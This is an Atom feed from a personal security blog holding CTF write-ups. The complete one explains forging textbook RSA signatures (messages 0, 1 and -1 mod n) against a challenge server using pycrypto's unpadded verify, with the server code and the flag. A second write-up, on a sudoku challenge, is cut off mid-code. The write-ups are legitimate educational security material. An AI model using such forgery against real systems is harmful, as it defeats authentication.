<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Not Invented Here</title><link href="https://www.notinventedhere.org/" rel="alternate"></link><link href="https://www.notinventedhere.org/feeds/all.atom.xml" rel="self"></link><id>https://www.notinventedhere.org/</id><updated>2020-01-17T00:00:00+01:00</updated><entry><title>OverTheWire Advent Bonanza 2019: day-19 santa's signature</title><link href="https://www.notinventedhere.org/articles/security/overthewire-advent-bonanza-2019-day-19-santas-signature.html" rel="alternate"></link><published>2020-01-17T00:00:00+01:00</published><updated>2020-01-17T00:00:00+01:00</updated><author><name>Lukas Anzinger</name></author><id>tag:www.notinventedhere.org,2020-01-17:/articles/security/overthewire-advent-bonanza-2019-day-19-santas-signature.html</id><summary type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few challenges as well.&lt;/p&gt;
&lt;p&gt;The following write-up is about the challenge from day 19: santa's signature&lt;/p&gt;
&lt;div class="section" id="description"&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
Can you forge Santa's signature?&lt;/blockquote&gt;
&lt;p&gt;Along with the IP address/port there was also the Python code running on
the server given which made the challenge even easier to solve.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ch"&gt;#!/usr/bin/env python3&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;Crypto&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;Crypto.PublicKey&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;importKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;rng&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Crypto&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Random&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;RSA&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;generate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rng&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;key&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exportKey&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;h2i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Couldn&amp;#39;t hex decode&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; \
&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Dear Santa,&lt;/span&gt;
&lt;span class="sd"&gt;Last christmas you gave me your public key,&lt;/span&gt;
&lt;span class="sd"&gt;to confirm it really is you please sign three&lt;/span&gt;
&lt;span class="sd"&gt;different messages with your private key.&lt;/span&gt;

&lt;span class="sd"&gt;Here is the public key you gave me:&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;publickey&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exportKey&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;utf-8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="n"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;h2i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Message &lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt; you signed (hex encoded):&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;I said different messages!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h2i&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Signature &lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;))]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Looks like you aren&amp;#39;t Santa after all!&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;ms&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Hello Santa, here is your flag:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;flag&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="n"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The public key that is presented by the server is as follows:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAu1jb39GZlWh9XPpOHmaa
ZEYrbNqa6KMf4E211NYklZytuRBQy71zOI8V9O7i12C4hjhoAzj8JnXkpFur7w3z
PLimVB/B+KfQq3fo5YqWzVhi06LuuCvyGwkWSO3K2sMyH3ISKlPKlyVzhr/9qeHR
2gbFXK6so8rHXpZGgSJk5TimuY4yb+TNjpfi4srQIyepVPCjECs4n+Ii941c+7KW
2wScAUk7MuMExuKuNvvKeTZdhQeq/ZCd0otascBXk9GmsBx0eVBzG8/94Hm+9egl
eQu1DqLn/HZovaAcyIbqjunuB/KoM76DISjhmcaRyipafEJm+u9/jPHAG+8dLUuc
Wr+04D9iAFBEt5XBA2u3WaaL4/eP7hR5mR9QOxH8YilpttfQJY/78AXo+GJtECTF
LJ7zRyP1Jq89qdySJVumxwZmKP3sE7mojTb2030TDF/27v+vMVVtczyAQdybDHzj
8ainHn2SP3yTTOnjNTuGWvIcs3Qa4bv78ezTmLofpsZLoRbcx5FV2YXuiao8ezD/
WBuIOlDZhqRiods3LN8x7gNQo8zDmwY0Z54oac2dPgIUr1AvnDbEGdqyCyJRIrnW
kLFMXdy2GJLSFMk+rswORKEtojCmqQIydW7+5M4J4FhVNyVtNuPcLfUjF+e5+V5E
+piEcAsCnQ1k9QHGZAuVxX8CAwEAAQ==
-----END PUBLIC KEY-----
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="analysis"&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;My first guess for this challenge was that this involves some &amp;quot;RSA
exponent three attack&amp;quot;
(&lt;a class="reference external" href="https://www.johndcook.com/blog/2019/03/06/rsa-exponent-3/"&gt;https://www.johndcook.com/blog/2019/03/06/rsa-exponent-3/&lt;/a&gt;) but in fact
it was actually even easier. RSA is prone to a lot of attacks if
implemented and used &amp;quot;raw&amp;quot;, i. e. textbook style. The crypto library
used is &lt;a class="reference external" href="https://github.com/dlitz/pycrypto"&gt;https://github.com/dlitz/pycrypto&lt;/a&gt;, so I downloaded that library
and looked at the verify function.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
   &lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Verify the validity of an RSA signature.&lt;/span&gt;
&lt;span class="sd"&gt;   :attention: this function performs the plain, primitive RSA encryption&lt;/span&gt;
&lt;span class="sd"&gt;    (*textbook*). In real applications, you always need to use proper&lt;/span&gt;
&lt;span class="sd"&gt;    cryptographic padding, and you should not directly verify data with&lt;/span&gt;
&lt;span class="sd"&gt;    this method. Failure to do so may lead to security vulnerabilities.&lt;/span&gt;
&lt;span class="sd"&gt;    It is recommended to use modules&lt;/span&gt;
&lt;span class="sd"&gt;    `Crypto.Signature.PKCS1_PSS` or `Crypto.Signature.PKCS1_v1_5` instead.&lt;/span&gt;
&lt;span class="sd"&gt;    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The function description confirms the suspicion that it is vulnerable
which means that we are on the right track.&lt;/p&gt;
&lt;p&gt;Verification in case of RSA works as follows:&lt;/p&gt;
&lt;p&gt;If &lt;tt class="docutils literal"&gt;s^e mod n&lt;/tt&gt; is equal to &lt;tt class="docutils literal"&gt;m mod n&lt;/tt&gt; then the signature is valid (s
is the signature, e is the public exponent, n is is the public modulus).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="solution"&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;It is obvious that the equation is true for s = m = 0 and s = m = 1.
However, we have to give three forged signatures and messages. But there
is another special case s = -1 because the (-1)^e = -1 if e is odd.
Since e = 65537, this is the case. However, the server does not accept
-1 as a message:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Message 1 you signed (hex encoded):-1
Signature 1:-1
Looks like you aren't Santa after all!
&lt;/pre&gt;
&lt;p&gt;This can be solved by calculating &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;-1&lt;/span&gt; mod n&lt;/tt&gt; so that the message is
positive. This can be calculated easily with a bit of Python:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;pow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;bb58dbdfd19995687d5cfa4e1e669a64462b6cda9ae8a31fe04db5d4d624959cadb91050cbbd73388f15f4eee2d760b88638680338fc2675e4a45babef0df33cb8a6541fc1f8a7d0ab77e8e58a96cd5862d3a2eeb82bf21b091648edcadac3321f72122a53ca97257386bffda9e1d1da06c55caeaca3cac75e9646812264e538a6b98e326fe4cd8e97e2e2cad02327a954f0a3102b389fe222f78d5cfbb296db049c01493b32e304c6e2ae36fbca79365d8507aafd909dd28b5ab1c05793d1a6b01c747950731bcffde079bef5e825790bb50ea2e7fc7668bda01cc886ea8ee9ee07f2a833be832128e199c691ca2a5a7c4266faef7f8cf1c01bef1d2d4b9c5abfb4e03f62005044b795c1036bb759a68be3f78fee1479991f503b11fc622969b6d7d0258ffbf005e8f8626d1024c52c9ef34723f526af3da9dc92255ba6c7066628fdec13b9a88d36f6d37d130c5ff6eeffaf31556d733c8041dc9b0c7ce3f1a8a71e7d923f7c934ce9e3353b865af21cb3741ae1bbfbf1ecd398ba1fa6c64ba116dcc79155d985ee89aa3c7b30ff581b883a50d986a462a1db372cdf31ee0350a3ccc39b0634679e2869cd9d3e0214af502f9c36c419dab20b225122b9d690b14c5ddcb61892d214c93eaecc0e44a12da230a6a90232756efee4ce09e0585537256d36e3dc2df52317e7b9f95e44fa9884700b029d0d64f501c6640b95c57e&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now that we have all three messages and signatures, the server gives us
the flag: &lt;tt class="docutils literal"&gt;AOTW{RSA_3dg3_c4s3s_ftw}&lt;/tt&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="Security"></category><category term="CTF"></category><category term="Python"></category><category term="Security"></category></entry><entry><title>OverTheWire Advent Bonanza 2019: day-18 impressive sudoku</title><link href="https://www.notinventedhere.org/articles/security/overthewire-advent-bonanza-2019-day-18-impressive-sudoku.html" rel="alternate"></link><published>2020-01-16T00:00:00+01:00</published><updated>2020-01-16T00:00:00+01:00</updated><author><name>Lukas Anzinger</name></author><id>tag:www.notinventedhere.org,2020-01-16:/articles/security/overthewire-advent-bonanza-2019-day-18-impressive-sudoku.html</id><summary type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few challenges as well.&lt;/p&gt;
&lt;p&gt;The following write-up is about the challenge from day 18: impressive sudoku.&lt;/p&gt;
&lt;div class="section" id="description"&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
First we asked you to solve a sudoku, now we want you to make one.&lt;/blockquote&gt;
&lt;p&gt;Along with an IP address/port there is also an archive given:
&lt;a class="reference external" href="https://advent2019.s3.amazonaws.com/4964615443db994db372a3d64524510452521f09809fdb50da22e83d15fb48ca.tar.gz"&gt;https://advent2019.s3.amazonaws.com/4964615443db994db372a3d64524510452521f09809fdb50da22e83d15fb48ca.tar.gz&lt;/a&gt;
The archive contains the file chal.cc and chal (an executable built from
chal.cc).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="analysis"&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;chal.cc has 89 lines and expects a sudoku as an input (given by a 9x9
matrix read from stdin). The sudoku is checked and if the &lt;em&gt;score&lt;/em&gt; of the
sudoku is &amp;gt;= 1000000, the flag is printed.&lt;/p&gt;
&lt;p&gt;There are two interesting functions: &lt;tt class="docutils literal"&gt;check()&lt;/tt&gt; and &lt;tt class="docutils literal"&gt;score()&lt;/tt&gt;. The
first one checks if the given sudoku is valid according to the &amp;quot;usual&amp;quot;
rules (i. e. every column and row as well as all 3x3 fields have to be a
valid permutation of the numbers from 1 to 9):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;uint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sudoku&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;checkrow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
